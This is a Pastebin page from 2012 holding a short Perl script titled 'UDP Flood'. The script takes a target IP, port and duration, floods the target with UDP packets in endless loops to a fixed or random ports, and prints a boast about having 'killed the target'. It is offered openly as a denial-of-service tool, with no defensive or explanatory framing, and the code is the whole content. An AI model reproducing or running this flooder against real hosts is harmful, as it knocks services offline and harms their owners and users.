Advertisement
Wayc0de

UDP Flood

Mar 19th, 2012
1,010
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.91 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Socket;
  3. $ARGC=@ARGV;
  4. if ($ARGC !=3) {
  5. printf "$0 <ip> <port> <time>\n";
  6. printf "if arg1/2 =0, randports/continous packets.\n";
  7. exit(1);
  8. }
  9. my ($ip,$port,$size,$time);
  10. $ip=$ARGV[0];
  11. $port=$ARGV[1];
  12. $time=$ARGV[2];
  13. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  14. $iaddr = inet_aton("$ip");
  15. printf "AlecsPower aTTaCK! - Killed the Target . . .\n";
  16. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  17. goto randpackets;
  18. }
  19. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  20. system("(sleep $time;killall -9 udp) &");
  21. goto packets;
  22. }
  23. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  24. goto packets;
  25. }
  26. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  27. system("(sleep $time;killall -9 udp) &");
  28. goto randpackets;
  29. }
  30. packets:
  31. for (;;) {
  32. $size=$rand x $rand x $rand;
  33. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  34. }
  35. randpackets:
  36. for (;;) {
  37. $size=$rand x $rand x $rand;
  38. $port=int(rand 65000) +1;
  39. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement